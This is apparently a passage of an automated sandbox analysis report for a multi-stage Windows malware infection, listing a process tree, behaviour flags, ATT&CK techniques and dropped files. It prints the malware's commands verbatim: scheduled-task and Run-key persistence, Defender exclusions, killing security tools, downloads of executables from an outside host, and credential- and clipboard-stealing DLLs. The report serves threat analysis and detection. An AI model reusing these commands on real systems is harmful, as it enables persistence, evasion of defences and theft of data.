C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\odt\RuntimeBroker.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4960 -ip 49601⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 9 /tr "'C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\pris\taskhostw.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 5 /tr "'C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\pris\taskhostw.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\SCHTASKS.exeSCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST1⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysmons" /sc MINUTE /mo 14 /tr "'C:\odt\sysmon.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\odt\sysmon.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\odt\sysmon.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\DriverHostCrtNet\dwm.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\StartMenuExperienceHost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Security\BrowserCore\smss.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "networan" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Mail\networa.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "networan" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Mail\networa.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'first.exe'1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Files\move.bat" "1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\Users.exeusers.exe2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Macromedia\ser.bat" "3⤵
- Checks computer location settings
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exewmild.exe -c http://duserifram.toshibanetcam.com/tibokUS.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 64⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\software\microsoft\windows\currentversion" /v "alg" /t reg_sz /d svr.vbs /f4⤵
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ipz.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im ipz2.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im safesurf.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im surfguard.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exewmild.exe -c http://duserifram.toshibanetcam.com/ASUFUSER.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\reg.exereg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings /f4⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exereg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings /f4⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im nvidsrv.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\reg.exereg delete "hkcu\software\microsoft\windows\currentversion" /v "alg" /f4⤵
-
-
C:\Windows\SysWOW64\find.exefind "svr.vbs"4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\reg.exeREG QUERY hkcu\software\microsoft\windows\currentversion4⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\reg.exereg add "hklm\software\microsoft\windows\currentversion\run" /v "winsvcr" /t reg_sz /d "C:\Users\Admin\AppData\Roaming\Macromedia\svr.vbs" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\software\microsoft\windows\currentversion\run" /v "winsvcr" /t reg_sz /d "C:\Users\Admin\AppData\Roaming\Macromedia\svr.vbs" /f4⤵
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exewmild.exe -c http://duserifram.toshibanetcam.com/raauser.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Macromedia\nobuf.vbs"4⤵
- Checks computer location settings
-
-
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exewmild.exe -c http://duserifram.toshibanetcam.com/amsql.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exewmild.exe -c http://duserifram.toshibanetcam.com/prochack.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 204⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\reg.exereg delete HKCU\SOFTWARE\JetSwap /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 32⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe C:\Users\Admin\AppData\Roaming\Macromedia2⤵
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "networa" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\networa.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 11⤵
- Runs ping.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\first.exe'1⤵
-
C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exewmild.exe -c http://duserifram.toshibanetcam.com/app.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\chcp.comCHCP 12511⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\odt\WmiPrvSE.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\odt\WmiPrvSE.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\odt\WmiPrvSE.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Security\BrowserCore\smss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\smss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\StartMenuExperienceHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Users\Default User\StartMenuExperienceHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\DriverHostCrtNet\dwm.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\DriverHostCrtNet\dwm.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "cmdc" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\pris\taskhostw.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1692 -ip 16921⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\DriverHostCrtNet\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\DriverHostCrtNet\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\DriverHostCrtNet\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\dwm.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Program Files\Uninstall Information\dwm.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "43634634634643634634634634" /sc MINUTE /mo 5 /tr "'C:\DriverHostCrtNet\4363463463464363463463463.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "4363463463464363463463463" /sc ONLOGON /tr "'C:\DriverHostCrtNet\4363463463464363463463463.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "43634634634643634634634634" /sc MINUTE /mo 8 /tr "'C:\DriverHostCrtNet\4363463463464363463463463.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" "javascript:clipboardData.setData('text','5G#JBNGAJAT2tQ^@I@3PJX#)$JHZZTCE');close();"1⤵
-
C:\Users\Admin\AppData\Local\Temp\f60f0ba310\Dctooux.exeC:\Users\Admin\AppData\Local\Temp\f60f0ba310\Dctooux.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\e8aad92a75ada1\cred64.dll, Main2⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\e8aad92a75ada1\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\168293393341_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\findstr.exefindstr "SSID BSSID Signal"3⤵
-
-
C:\Windows\system32\netsh.exenetsh wlan show networks mode=bssid3⤵
-
-
C:\Windows\system32\chcp.comchcp 650013⤵
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\e8aad92a75ada1\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
-
C:\ProgramData\hlkwogclqprr\uwgxswmtctao.exeC:\ProgramData\hlkwogclqprr\uwgxswmtctao.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2644 -ip 26441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1676 -ip 16761⤵
-
C:\Windows\svchost.exeC:\Windows\svchost.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5168 -ip 51681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3044 -ip 30441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3968 -ip 39681⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\pris\taskhostw.exeC:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\pris\taskhostw.exe1⤵
-
C:\odt\sysmon.exeC:\odt\sysmon.exe1⤵
-
C:\Users\Default User\StartMenuExperienceHost.exe"C:\Users\Default User\StartMenuExperienceHost.exe"1⤵
-
C:\Program Files\Windows Security\BrowserCore\smss.exe"C:\Program Files\Windows Security\BrowserCore\smss.exe"1⤵
-
C:\DriverHostCrtNet\4363463463464363463463463.exeC:\DriverHostCrtNet\4363463463464363463463463.exe1⤵
-
C:\Program Files (x86)\Mozilla Maintenance Service\logs\MoUsoCoreWorker.exe"C:\Program Files (x86)\Mozilla Maintenance Service\logs\MoUsoCoreWorker.exe"1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Change Default File Association
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Change Default File Association
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Modify Registry
4Scripting
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
436346~1.EXE
4363463463464363463463463.exe
4363463463464363463463463.exe
ELvGRxvU.bat
comSvc.exe
comSvc.exe
jO3lbUgUCuGG0nAZHcS.vbe
RCX85EE.tmp
dwm.exe
smss.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
168293393341
168293393341
5feb41f3-71ea-4ee5-8080-cc28895b2a1d.vbs
6bOuYaabJ9.bat
15c63318bd5a529e599e5d60302f2dc14961ebcc209b735796efbfdb4c1d59fd.exe
2-3-1_2023-12-14_13-35.exe
InstallSetup.exe
InstallSetup.exe
InstallSetup.exe
Machinegggg.exe
NBYS%20AH.NET.exe
NBYS%20AH.NET.exe
NBYS%20AH.NET.exe
OSM-Client.exe
OSM-Client.exe.zip
Opolis.exe
TrueCrypt_lXNcTC.exe
Users.exe
Users.exe
WatchDog.exe
Windows.exe
XMRig.exe
alex.exe
am.exe
am.exe
am.exe
ama.exe
ama.exe
ama.exe
baseline.exe
build1234.exe
crypted.exe
dusers.exe
dusers.exe
first.exe
fund.exe
fund.exe
fund.exe
i.exe
lada.exe
minuscrypt_crypted.exe
minuscrypt_crypted.exe
minuscrypt_crypted.exe
move.bat
networa.exe
ofg7d45fsdfgg312.exe
ofg7d45fsdfgg312.exe
stub.exe
svchost1.exe
__PSScriptPolicyTest_uur4imyy.adr.ps1
qemu-ga.exe
u3ts.0.exe
u3ts.0.exe
u3ts.1.exe
u3ts.1.exe
SER.bat
nobuf.vbs
svr.vbs
wmild.exe
wmild.exe
wmild.exe
wmild.exe
Task.bat
Logs.exe
olehps.exe
clip64.dll
cred64.dll
fcc.exe
jjj.exe
tel.exe
directx.sys
directx.sys
directx.sys
directx.sys
WmiPrvSE.exe
memory/244-362-0x0000000000400000-0x000000000042D000-memory.dmp
memory/396-364-0x0000000000400000-0x000000000042D000-memory.dmp
memory/516-768-0x0000000000400000-0x000000000046D000-memory.dmp
memory/516-766-0x0000000000400000-0x000000000046D000-memory.dmp
memory/516-763-0x0000000000400000-0x000000000046D000-memory.dmp
memory/516-764-0x0000000000400000-0x000000000046D000-memory.dmp
memory/1052-725-0x0000000000400000-0x000000000042D000-memory.dmp
memory/1328-3-0x0000000005780000-0x0000000005790000-memory.dmp
memory/1328-1-0x00000000750D0000-0x0000000075880000-memory.dmp
memory/1328-116-0x0000000005780000-0x0000000005790000-memory.dmp
memory/1328-0-0x0000000000B00000-0x0000000000B08000-memory.dmp
memory/1328-2-0x0000000005540000-0x00000000055DC000-memory.dmp
memory/1328-109-0x00000000750D0000-0x0000000075880000-memory.dmp
memory/1332-50-0x0000000000B50000-0x0000000000E98000-memory.dmp
memory/1332-65-0x000000000CD60000-0x000000000CDF2000-memory.dmp
memory/1332-72-0x000000000CCC0000-0x000000000CD16000-memory.dmp
memory/1332-51-0x00000000750D0000-0x0000000075880000-memory.dmp
memory/1332-69-0x0000000005750000-0x0000000005760000-memory.dmp
memory/1332-73-0x00000000750D0000-0x0000000075880000-memory.dmp
memory/1332-60-0x000000000BD90000-0x000000000CC24000-memory.dmp
memory/1332-71-0x00000000057A0000-0x00000000057AA000-memory.dmp
memory/1332-64-0x000000000D270000-0x000000000D814000-memory.dmp
memory/1636-198-0x000001DBEE0B0000-0x000001DBEE0C0000-memory.dmp
memory/1636-201-0x000001DBEE0B0000-0x000001DBEE0C0000-memory.dmp
memory/1636-192-0x00007FFA544D0000-0x00007FFA54F91000-memory.dmp
memory/1636-187-0x000001DBD5A60000-0x000001DBD5A78000-memory.dmp
memory/1636-184-0x000001DBD3DA0000-0x000001DBD3DBC000-memory.dmp
memory/1636-196-0x000001DBEE0B0000-0x000001DBEE0C0000-memory.dmp
memory/1732-946-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-952-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-941-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-939-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-935-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-931-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-950-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-944-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-929-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/1732-948-0x0000000005870000-0x0000000005A15000-memory.dmp
memory/2648-351-0x0000000000400000-0x0000000000442000-memory.dmp
memory/2648-266-0x0000000000400000-0x0000000000442000-memory.dmp
memory/2876-229-0x0000000000400000-0x0000000000440000-memory.dmp
memory/2876-313-0x0000000000400000-0x0000000000440000-memory.dmp
memory/2888-709-0x0000000000400000-0x000000000042D000-memory.dmp
memory/2948-211-0x0000000003320000-0x000000000338F000-memory.dmp
memory/2948-208-0x00000000007D0000-0x0000000000CEC000-memory.dmp
memory/2948-108-0x00000000007D0000-0x0000000000CEC000-memory.dmp
memory/2948-129-0x0000000003320000-0x000000000338F000-memory.dmp
memory/2948-204-0x00000000007D0000-0x0000000000CEC000-memory.dmp
memory/2976-173-0x0000000000860000-0x0000000000876000-memory.dmp
memory/2976-174-0x00007FFA544D0000-0x00007FFA54F91000-memory.dmp
memory/3016-518-0x0000000000400000-0x00000000008E2000-memory.dmp
memory/3016-178-0x00000000027A0000-0x00000000027A1000-memory.dmp
memory/3120-137-0x000000001B360000-0x000000001B36C000-memory.dmp
memory/3120-128-0x000000001B240000-0x000000001B250000-memory.dmp
memory/3120-133-0x000000001B280000-0x000000001B28C000-memory.dmp
memory/3120-114-0x0000000000550000-0x0000000000716000-memory.dmp
memory/3120-115-0x00007FFA544D0000-0x00007FFA54F91000-memory.dmp
memory/3120-125-0x00000000027E0000-0x00000000027FC000-memory.dmp
memory/3120-134-0x000000001B300000-0x000000001B308000-memory.dmp
memory/3120-138-0x000000001B290000-0x000000001B2A0000-memory.dmp
memory/3120-126-0x000000001B2A0000-0x000000001B2F0000-memory.dmp
memory/3120-130-0x000000001B250000-0x000000001B266000-memory.dmp
memory/3120-131-0x000000001B270000-0x000000001B282000-memory.dmp
memory/3120-132-0x000000001B2F0000-0x000000001B300000-memory.dmp
memory/3120-136-0x000000001B310000-0x000000001B31C000-memory.dmp
memory/3120-139-0x000000001BD80000-0x000000001BD8A000-memory.dmp
memory/3120-249-0x000000001B290000-0x000000001B2A0000-memory.dmp
memory/3120-235-0x00007FFA544D0000-0x00007FFA54F91000-memory.dmp
memory/3120-142-0x000000001BDB0000-0x000000001BDBC000-memory.dmp
memory/3120-143-0x000000001BDC0000-0x000000001BDCC000-memory.dmp
memory/3120-141-0x000000001BDA0000-0x000000001BDAE000-memory.dmp
memory/3120-140-0x000000001BD90000-0x000000001BD98000-memory.dmp
memory/3120-127-0x000000001B230000-0x000000001B238000-memory.dmp
memory/3132-419-0x0000000000400000-0x00000000004CE000-memory.dmp
memory/3968-746-0x0000000000400000-0x000000000062E000-memory.dmp
memory/3968-88-0x0000000000400000-0x000000000062E000-memory.dmp
memory/3968-86-0x0000000000830000-0x0000000000930000-memory.dmp
memory/3968-186-0x0000000000830000-0x0000000000930000-memory.dmp
memory/3968-882-0x0000000000400000-0x000000000062E000-memory.dmp
memory/3968-87-0x0000000000790000-0x00000000007AC000-memory.dmp
memory/3968-894-0x0000000000400000-0x000000000062E000-memory.dmp
memory/3968-188-0x0000000000400000-0x000000000062E000-memory.dmp
memory/4408-821-0x0000000002D70000-0x0000000002DDF000-memory.dmp
memory/4408-878-0x0000000002D70000-0x0000000002DDF000-memory.dmp
memory/4408-818-0x00000000009F0000-0x0000000000F0C000-memory.dmp
memory/4960-181-0x0000000000400000-0x0000000000483000-memory.dmp
memory/4960-68-0x0000000000650000-0x00000000006B7000-memory.dmp
memory/4960-67-0x00000000006C0000-0x00000000007C0000-memory.dmp
memory/4960-175-0x00000000006C0000-0x00000000007C0000-memory.dmp
memory/4960-70-0x0000000000400000-0x0000000000483000-memory.dmp
memory/5044-250-0x00007FFA544D0000-0x00007FFA54F91000-memory.dmp
memory/5044-252-0x000001A5F7030000-0x000001A5F7052000-memory.dmp
memory/5044-251-0x000001A5F74D0000-0x000001A5F74E0000-memory.dmp
memory/5880-741-0x0000000000400000-0x000000000042D000-memory.dmp
memory/5900-739-0x0000000000400000-0x000000000042D000-memory.dmp